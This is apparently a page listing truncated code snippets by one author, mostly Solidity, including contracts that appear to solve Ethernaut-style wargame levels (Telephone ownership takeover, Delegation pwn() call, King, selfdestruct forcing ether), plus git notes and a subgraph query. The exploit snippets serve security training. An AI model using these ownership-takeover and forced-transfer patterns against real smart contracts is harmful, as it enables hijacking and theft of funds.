SilviaMargaritaOcegueda

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";

//title Set and get a state variable 
contract SimpleStorage is Ownable {

    uint16 public monthlyFee;
 
//dev Set the monthlyFee value restricted to the owner
    function setMonthlyFee(uint16 _monthlyFee) onlyOwner public {

SilviaMargaritaOcegueda

pragma solidity ^0.8.6;

library  Address {
    function isContract(address account) internal view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

SilviaMargaritaOcegueda

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol';

// Create an interface to call the target
interface ICoinFlip {
      function flip(bool _guess) external returns (bool);
}

SilviaMargaritaOcegueda

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract TelephoneHack {

    function telephoneHack() public {
        bytes memory changeLoad = abi.encodeWithSignature("changeOwner(address)", 0xF2FF428414A3C798f3e59A101C0f659641Edcc29);
        // Change to your instance address
        (bool success,) = 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(changeLoad);
        require(success);

SilviaMargaritaOcegueda

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract DelegationHack {

    function delegationHack() public pure returns (bytes memory) {
        bytes memory functionID = abi.encodeWithSignature("pwn()");
        return functionID;
    }
}

SilviaMargaritaOcegueda

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingHack {
    function kingHack(address payable _to) public payable {
        (bool sent, ) = _to.call.value(msg.value)("");
        require(sent, "Failed to send value!");
    }

     function seedEth() public payable {

SilviaMargaritaOcegueda

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceEth {
    
    function forceEth() external payable {
        address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5;
        selfdestruct(attackContract);
    }

SilviaMargaritaOcegueda

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

   /*How to Sign and Verify a message
   0. Create message to sign
   1. Get message hash by calling getMessageHash()
   2. Eth sign the message hash by calling getEthSignedMessageHash()
   3. On the browser, unlock MetaMask account typing ethereum.enable() 
   4. Using browser, sign the message hash: | offchain to keep your private key secret
        account = "copy paste account of signer here"

SilviaMargaritaOcegueda

WINDOWS
Open the Windows File Explorer (or use the shortcut WIN + E)

GIT
> descartar todos tus commits en local y volver al ultimo push visible en github:
git reset --hard origin/main

> volver a un commit anterior:
git checkout b29e5d6 (el codigo del commit donde quieras ir)

SilviaMargaritaOcegueda

const { request, gql } = require("graphql-request");
// Function to query the subgraph and retrieve 6551-accounts for the given user
async function checkAccountForUser(contract, id, chainId) {
  const endpoint =
    "https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/mock-wallets";
  const query = gql`
    query MyQuery($contract: Bytes, $id: BigInt, $chainId: BigInt) {
      accounts(
        where: {
          and: [